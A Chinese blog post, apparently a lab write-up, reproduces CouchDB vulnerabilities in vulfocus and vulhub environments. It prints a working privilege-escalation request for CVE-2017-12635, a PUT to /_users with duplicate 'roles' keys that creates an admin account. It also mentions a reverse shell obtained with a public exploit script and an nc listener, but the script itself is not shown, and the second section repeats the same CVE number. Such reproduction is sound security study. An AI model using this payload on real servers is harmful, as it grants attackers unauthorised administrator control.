CouchDB漏洞复现

SNA1L1

已于 2022-10-07 18:24:48 修改

阅读量792

点赞数

分类专栏：漏洞复现文章标签： couchdb 安全 web安全

于 2022-10-07 17:52:21 首次发布

本文链接：https://blog.csdn.net/weixin_44259979/article/details/127196246

版权

漏洞复现专栏收录该内容

4 篇文章 0 订阅

订阅专栏

CouchDB漏洞复现在vulfocus环境下

一、漏洞复现地址如下：
https://vulfocus.cn/
二、CouchDB复现权限绕过（CVE-2017-12635）
小于 1.7.0 以及小于 2.1.1
可绕过创建权限而去实现任意创建admin权限的账号实现登录。
1、正常创建数据包（发现无权限）
在这里插入图片描述 2、绕过权限数据包

PUT /_users/org.couchdb.user:vulhub

{

  "type": "user",

  "name": "vulhub",

  "roles": ["_admin"],

  "roles": [],

  "password": "vulhub"

}

在这里插入图片描述 3、成功实现绕过，到/_utils 目录下验证登陆。
三、CouchDB复现权限绕过（CVE-2017-12635）
实现权限绕过并成功登录admin账号后，可实现此漏洞实现rce。直接使用了网上SF的exp脚本反弹shell如下：
这个环境换到了本地搭建的vulhub。
攻击机nc监听，直接执行脚本文件：
在这里插入图片描述